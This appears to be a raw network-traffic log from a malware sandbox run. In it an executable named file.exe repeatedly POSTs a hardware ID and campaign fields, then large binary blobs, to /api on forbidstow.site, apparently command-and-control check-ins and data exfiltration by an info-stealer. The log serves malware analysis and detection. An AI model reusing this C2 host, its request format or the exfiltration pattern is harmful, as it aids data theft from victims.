2024-10-30 21:23:01 UTC	1369	IN	Data Raw: 37 75 74 7a 47 75 38 32 57 4a 4c 42 55 34 76 32 70 4e 57 62 45 4c 2f 6e 46 76 31 57 46 41 64 6d 52 6f 64 4c 4d 44 67 48 32 30 69 39 72 31 41 70 31 52 34 57 67 34 5a 47 77 2f 32 76 68 38 35 56 74 75 55 59 39 6c 34 4c 43 6d 5a 4c 67 51 74 34 63 41 6a 45 42 4f 76 68 5a 52 4c 6a 50 56 69 54 77 46 61 48 2b 36 66 44 6d 68 4c 33 6f 31 2f 2f 51 6c 6c 63 4e 47 32 46 45 57 51 36 4c 73 67 49 34 76 39 68 41 61 49 69 47 49 57 49 57 49 2b 36 2b 34 65 53 48 72 33 6b 48 50 46 65 46 41 52 39 53 6f 38 44 63 33 41 53 77 67 4c 33 36 33 49 62 37 54 64 53 6c 4d 52 51 6a 2f 36 78 7a 4e 5a 62 39 2b 6f 48 75 41 4a 5a 4a 48 39 54 70 52 6c 73 4f 42 2b 4e 45 61 58 6f 65 31 71 36 66 56 2b 51 79 56 36 4a 2f 4b 6a 43 6d 78 57 79 35 78 6a 30 57 68 6b 48 63 6b 4f 4c 41 33 5a 30 44 4d 41 Data Ascii: 7utzGu82WJLBU4v2pNWbEL/nFv1WFAdmRodLMDgH20i9r1Ap1R4Wg4ZGw/2vh85VtuUY9l4LCmZLgQt4cAjEBOvhZRLjPViTwFaH+6fDmhL3o1//QllcNG2FEWQ6LsgI4v9hAaIiGIWIWI+6+4eSHr3kHPFeFAR9So8Dc3ASwgL363Ib7TdSlMRQj/6xzNZb9+oHuAJZJH9TpRlsOB+NEaXoe1q6fV+QyV6J/KjCmxWy5xj0WhkHckOLA3Z0DMA
2024-10-30 21:23:01 UTC	1369	IN	Data Raw: 78 48 6b 4d 31 65 61 78 46 4c 44 74 4f 50 41 6a 6c 58 76 72 54 6a 69 56 78 38 54 5a 58 43 42 43 79 38 34 48 34 30 52 70 65 68 37 57 72 70 39 57 35 44 43 55 6f 62 2b 71 38 43 56 46 4c 76 70 45 76 56 65 45 41 42 78 56 35 51 4e 63 48 67 50 7a 51 66 70 2f 58 6b 66 34 6a 45 57 30 6f 68 59 6d 37 72 37 68 36 63 43 74 36 30 41 74 6b 4e 5a 41 33 67 46 33 6b 74 78 64 52 4c 50 42 2b 58 75 64 42 37 70 4f 6c 43 61 79 56 79 47 2b 61 62 42 6c 78 57 37 35 78 6a 77 55 42 63 4a 63 6b 47 41 44 54 34 32 51 4d 51 51 70 62 63 33 4b 4f 38 7a 58 35 2f 4f 55 70 58 53 6b 6f 65 4a 57 36 36 74 47 50 51 61 51 55 52 77 54 6f 34 48 65 33 41 46 77 67 44 76 35 33 67 56 38 44 78 5a 6c 63 39 55 6a 76 57 74 77 70 67 48 73 4f 59 55 38 46 4d 58 41 6a 51 4c 78 67 78 6d 4f 46 69 44 50 75 62 68 Data Ascii: xHkM1eaxFLDtOPAjlXvrTjiVx8TZXCBCy84H40Rpeh7Wrp9W5DCUob+q8CVFLvpEvVeEABxV5QNcHgPzQfp/Xkf4jEW0ohYm7r7h6cCt60AtkNZA3gF3ktxdRLPB+XudB7pOlCayVyG+abBlxW75xjwUBcJckGADT42QMQQpbc3KO8zX5/OUpXSkoeJW66tGPQaQURwTo4He3AFwgDv53gV8DxZlc9UjvWtwpgHsOYU8FMXAjQLxgxmOFiDPubh
2024-10-30 21:23:01 UTC	1369	IN	Data Raw: 6c 59 6a 73 6c 51 77 37 54 6a 77 49 35 56 37 36 30 75 37 6c 30 65 43 7a 5a 73 67 52 42 2f 63 67 50 49 42 4b 58 77 4f 51 4f 69 4f 6c 72 63 6b 42 2b 4f 39 71 37 44 68 42 6d 33 37 52 62 2f 55 41 73 4c 65 30 69 46 43 33 74 71 41 64 45 48 37 75 70 30 48 75 30 79 57 70 54 43 48 38 32 36 70 4e 2f 57 54 66 66 42 48 4f 6c 51 57 79 4e 75 55 34 45 48 62 33 4d 4e 7a 30 6a 36 6f 57 35 61 35 54 45 57 78 49 68 66 67 76 65 78 77 70 63 66 76 65 41 58 39 31 38 63 43 33 42 42 6a 51 56 73 64 67 2f 44 44 75 37 75 63 68 6e 70 4e 31 69 56 32 68 2f 4e 75 71 54 66 31 6b 33 33 78 77 54 35 56 78 56 47 57 6b 36 51 44 44 78 5a 44 73 67 50 36 66 6b 33 42 61 77 6b 46 70 76 45 48 39 75 36 71 73 6d 61 46 72 44 6c 46 2f 31 61 45 67 52 37 54 34 67 4d 62 48 49 4d 79 52 72 71 37 48 6f 65 37 Data Ascii: lYjslQw7TjwI5V760u7l0eCzZsgRB/cgPIBKXwOQOiOlrckB+O9q7DhBm37Rb/UAsLe0iFC3tqAdEH7up0Hu0yWpTCH826pN/WTffBHOlQWyNuU4EHb3MNz0j6oW5a5TEWxIhfgvexwpcfveAX918cC3BBjQVsdg/DDu7uchnpN1iV2h/NuqTf1k33xwT5VxVGWk6QDDxZDsgP6fk3BawkFpvEH9u6qsmaFrDlF/1aEgR7T4gMbHIMyRrq7Hoe7
2024-10-30 21:23:01 UTC	1369	IN	Data Raw: 49 57 49 2b 36 2b 34 65 57 45 62 76 75 47 50 5a 56 46 41 74 7a 54 6f 6b 42 63 47 6f 50 78 67 44 70 35 33 6f 49 36 44 64 45 6c 63 46 53 6a 66 4b 78 78 4e 5a 62 39 2b 6f 48 75 41 4a 5a 4e 6e 35 47 69 68 31 7a 64 30 44 63 52 76 79 76 63 42 61 69 5a 52 61 4f 32 6c 2b 49 2b 71 54 4a 68 42 53 2f 34 68 58 34 58 42 49 4f 64 30 79 43 42 58 64 2b 41 63 34 4a 35 4f 39 79 47 75 73 76 57 39 79 47 48 34 54 69 34 35 2f 57 49 72 76 6d 4c 76 74 4d 57 52 73 36 58 4d 59 4d 63 6a 68 59 67 77 6e 33 34 6e 38 65 34 6a 42 51 6c 38 6c 65 67 50 71 6a 78 4a 59 51 76 4f 49 5a 2f 31 63 54 44 58 31 58 6a 67 39 73 65 41 7a 48 53 4b 75 76 63 41 4b 69 5a 52 61 73 79 31 53 50 2b 71 37 53 31 67 72 35 39 46 2f 2f 56 6c 6c 63 4e 45 32 4e 41 48 68 7a 41 38 41 47 37 75 56 34 46 65 67 37 55 4a Data Ascii: IWI+6+4eWEbvuGPZVFAtzTokBcGoPxgDp53oI6DdElcFSjfKxxNZb9+oHuAJZNn5Gih1zd0DcRvyvcBaiZRaO2l+I+qTJhBS/4hX4XBIOd0yCBXd+Ac4J5O9yGusvW9yGH4Ti45/WIrvmLvtMWRs6XMYMcjhYgwn34n8e4jBQl8legPqjxJYQvOIZ/1cTDX1Xjg9seAzHSKuvcAKiZRasy1SP+q7S1gr59F//VllcNE2NAHhzA8AG7uV4Feg7UJ
2024-10-30 21:23:01 UTC	1369	IN	Data Raw: 38 61 2b 46 6c 78 69 6e 36 6c 2b 32 47 68 39 45 4c 42 58 49 53 33 70 70 51 4a 74 59 74 37 51 69 53 62 56 74 42 49 4f 47 52 73 50 73 34 35 2f 45 57 2f 66 2f 58 36 41 61 58 67 64 6d 56 34 41 49 61 48 74 48 2f 54 62 46 35 48 73 5a 37 6a 78 52 33 49 59 66 6a 4c 72 37 2f 74 59 57 70 66 39 51 36 55 77 55 46 48 4d 4a 6a 68 70 7a 64 45 43 4e 53 4b 6e 72 66 42 62 6e 4f 6b 62 54 32 6b 2b 49 39 72 57 4c 6b 67 66 33 6f 31 2f 70 55 52 59 57 65 6b 4c 4a 47 6d 68 31 45 4d 41 4e 34 71 4e 2f 43 2b 38 78 46 74 4b 49 53 6f 6a 32 70 63 71 44 57 71 62 37 48 4f 35 64 56 51 78 6c 53 49 70 4c 51 54 5a 41 32 30 69 39 72 30 49 5a 37 44 4e 52 69 74 6b 53 6f 2f 47 76 78 4a 6f 55 73 4b 31 52 75 46 78 5a 58 43 63 4c 78 67 39 76 4f 46 69 54 57 72 36 36 4a 45 32 79 62 30 6e 53 30 52 2b Data Ascii: 8a+Flxin6l+2Gh9ELBXIS3ppQJtYt7QiSbVtBIOGRsPs45/EW/f/X6AaXgdmV4AIaHtH/TbF5HsZ7jxR3IYfjLr7/tYWpf9Q6UwUFHMJjhpzdECNSKnrfBbnOkbT2k+I9rWLkgf3o1/pURYWekLJGmh1EMAN4qN/C+8xFtKISoj2pcqDWqb7HO5dVQxlSIpLQTZA20i9r0IZ7DNRitkSo/GvxJoUsK1RuFxZXCcLxg9vOFiTWr66JE2yb0nS0R+
2024-10-30 21:23:01 UTC	1369	IN	Data Raw: 38 56 62 39 2f 39 66 6f 42 70 65 43 6e 6c 45 68 51 56 39 61 68 4c 46 43 2f 50 73 4d 43 54 63 47 46 75 52 7a 56 47 45 78 4a 33 6d 6e 41 57 36 34 68 6a 47 5a 43 34 56 63 31 58 45 4c 58 31 75 41 34 4e 47 70 66 63 33 51 71 49 63 58 49 7a 46 55 49 53 36 37 59 65 53 56 65 2b 74 4f 76 56 58 48 41 70 7a 42 36 63 42 62 6e 55 50 78 45 69 72 72 33 74 61 75 6e 31 58 6c 74 68 53 6a 50 33 76 77 49 77 53 39 36 4e 66 39 68 70 42 52 48 56 50 6c 67 5a 78 66 30 7a 46 42 75 75 76 61 46 54 37 66 55 44 63 6b 41 7a 4e 75 72 47 48 7a 6c 58 77 34 78 4c 35 57 52 63 48 5a 6c 65 41 43 47 68 37 52 2f 30 32 77 4f 4a 36 48 2b 77 36 61 4b 4c 70 56 5a 50 33 72 4d 44 55 4e 62 44 37 48 4d 5a 6b 4c 68 56 7a 56 63 51 74 66 57 34 44 67 30 61 6c 39 7a 64 43 6f 68 78 63 6a 4d 56 51 68 4c 69 44 Data Ascii: 8Vb9/9foBpeCnlEhQV9ahLFC/PsMCTcGFuRzVGExJ3mnAW64hjGZC4Vc1XELX1uA4NGpfc3QqIcXIzFUIS67YeSVe+tOvVXHApzB6cBbnUPxEirr3taun1XlthSjP3vwIwS96Nf9hpBRHVPlgZxf0zFBuuvaFT7fUDckAzNurGHzlXw4xL5WRcHZleACGh7R/02wOJ6H+w6aKLpVZP3rMDUNbD7HMZkLhVzVcQtfW4Dg0al9zdCohxcjMVQhLiD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49709	104.21.41.39	443	4088	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 21:23:02 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12833 Host: forbidstow.site
2024-10-30 21:23:02 UTC	12833	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 30 43 35 43 42 38 37 45 44 39 37 41 44 41 31 42 42 43 39 41 45 37 38 39 35 36 33 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 31 4e 43 57 32 35 2d 2d 34 32 34 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E0C5CB87ED97ADA1BBC9AE789563D06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"1NCW25--424
2024-10-30 21:23:03 UTC	1021	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 21:23:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1mba00e157dmlfi3l6fb4klk2u; expires=Sun, 23-Feb-2025 15:09:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CA9W%2BNArEfUwXCi3utPtwhG%2FiE0xaHQVlaXy%2Br0iDF27ZDZNgL7O6DWayuegffVUDht32eEmuLtiDD%2F93LIMuzUOUfNhNXDCsa%2FFdPfBRBsotD76j%2BWDo2ohVmoFw%2B3vVoQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae76d45a043abf-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1192&sent=12&recv=18&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13772&delivery_rate=2320512&cwnd=251&unsent_bytes=0&cid=d2c640a2606270c9&ts=826&x=0"
2024-10-30 21:23:03 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 21:23:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49713	104.21.41.39	443	4088	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 21:23:03 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15075 Host: forbidstow.site
2024-10-30 21:23:03 UTC	15075	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 30 43 35 43 42 38 37 45 44 39 37 41 44 41 31 42 42 43 39 41 45 37 38 39 35 36 33 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 31 4e 43 57 32 35 2d 2d 34 32 34 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E0C5CB87ED97ADA1BBC9AE789563D06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"1NCW25--424
2024-10-30 21:23:04 UTC	1014	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 21:23:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n0itfc4n6k4pckp2a45fjho7cs; expires=Sun, 23-Feb-2025 15:09:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rG8kyC%2FlhX8rH0dN6aAqgGEEQo3ulA6EIkYXWekf1AbuY40zDLEjj361MbEKcOxbFpN9bxBkFLrCQiOgl%2F8AzZZuGvrfjBukIormuyLmzTJnkAOh%2Fno3F%2F1DckY8pDDYiNc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae76ddbd63c872-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1054&sent=11&recv=20&lost=0&retrans=1&sent_bytes=4228&recv_bytes=16014&delivery_rate=623958&cwnd=253&unsent_bytes=0&cid=c944bc31b5a98512&ts=550&x=0"
2024-10-30 21:23:04 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 21:23:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49714	104.21.41.39	443	4088	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 21:23:05 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20565 Host: forbidstow.site
2024-10-30 21:23:05 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 30 43 35 43 42 38 37 45 44 39 37 41 44 41 31 42 42 43 39 41 45 37 38 39 35 36 33 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 31 4e 43 57 32 35 2d 2d 34 32 34 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E0C5CB87ED97ADA1BBC9AE789563D06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"1NCW25--424
2024-10-30 21:23:05 UTC	5234	OUT	Data Raw: cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb Data Ascii: 6vMMZh'F3Wun 4F([:7s~X`nO
2024-10-30 21:23:06 UTC	1013	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 21:23:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kr48dm0nghdcfrbnhbep7t8888; expires=Sun, 23-Feb-2025 15:09:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FVdG96QuoqPN7yPTqT5Ctc5e1Q8dqIn0C915TNNOG6bzgZsolFjXVLk4Q6qHMF8KUP%2Bhj5DrOJYofQCsk902b1BDEGFwXVFZPsHROQTs5vVE%2Fyk4og4lSIZ%2FexysW4yjjNs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae76e68b0ce79e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1911&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2838&recv_bytes=21526&delivery_rate=1565405&cwnd=252&unsent_bytes=0&cid=86ef51ac2a1f524b&ts=928&x=0"
2024-10-30 21:23:06 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 21:23:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49715	104.21.41.39	443	4088	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 21:23:07 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1272 Host: forbidstow.site
2024-10-30 21:23:07 UTC	1272	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 30 43 35 43 42 38 37 45 44 39 37 41 44 41 31 42 42 43 39 41 45 37 38 39 35 36 33 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 31 4e 43 57 32 35 2d 2d 34 32 34 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E0C5CB87ED97ADA1BBC9AE789563D06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"1NCW25--424
2024-10-30 21:23:07 UTC	1006	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 21:23:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0akmml67ihv38bek79fg7tq08a; expires=Sun, 23-Feb-2025 15:09:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cpKgYlJR7xKXA4XMTs0uapOcC8VrrrV0WflbS9h3JtrKMuTWqQODLfuJdY%2Bh1QfWNx2hNEcwHITr6sA71A7OnXXbP2qlKUnwBRraF4rH7Bdec5tdPLPEu8acLa3NOgqyL5E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae76f178c428b3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1400&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2188&delivery_rate=2055358&cwnd=229&unsent_bytes=0&cid=a69f7ae920c0140d&ts=487&x=0"
2024-10-30 21:23:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 21:23:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49716	104.21.41.39	443	4088	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 21:23:08 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568525 Host: forbidstow.site
2024-10-30 21:23:08 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 30 43 35 43 42 38 37 45 44 39 37 41 44 41 31 42 42 43 39 41 45 37 38 39 35 36 33 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 31 4e 43 57 32 35 2d 2d 34 32 34 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E0C5CB87ED97ADA1BBC9AE789563D06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"1NCW25--424
2024-10-30 21:23:08 UTC	15331	OUT	Data Raw: af d7 fa f7 3b 60 80 ca 7c 6d 6f c1 52 bd 02 63 a4 9c a5 34 38 12 96 52 0e 20 80 d8 09 62 ec a1 14 09 a0 34 01 65 35 c2 99 27 5c 19 ae c2 a0 5d 15 0b f3 71 b0 6c 5b 74 78 a6 d8 fa 3e 8e c7 0e f0 d8 77 de 16 0d c2 2b 3a ba bb b1 7d a6 fc 56 ff ff 83 e8 d4 03 80 56 dc 01 e6 f8 40 82 29 25 9f 05 98 7d 7c 30 3f 55 e9 52 66 44 64 99 e5 62 6f 66 39 3f c4 fd 87 68 fc d8 9c c1 25 1a d9 77 da 40 8c 43 32 88 b7 70 48 cd 74 f2 e0 03 cd 8a ab 81 a6 e8 b8 1d cf 9c ca 20 05 35 98 b2 83 57 a2 49 f5 df fa 90 1e 91 f8 09 c1 ad dd 32 34 67 0e 14 3b 52 93 fc 7c 79 52 8d 3b a5 95 44 a9 b6 90 27 0f c1 72 bd 25 c0 c6 8d 3b 5d 52 8a 29 3a 87 99 37 c9 d8 6e 0e 70 55 64 35 38 8b 72 08 6b 8a b5 bd e6 a6 e3 eb 8e 4a 14 12 23 0b 49 74 56 35 67 72 57 80 ff 1e aa 36 3a 48 00 4c 7f 47 Data Ascii: ;`\|moRc48R b4e5'\]ql[tx>w+:}VV@)%}\|0?URfDdbof9?h%w@C2pHt 5WI24g;R\|yR;D'r%;]R):7npUd58rkJ#ItV5grW6:HLG
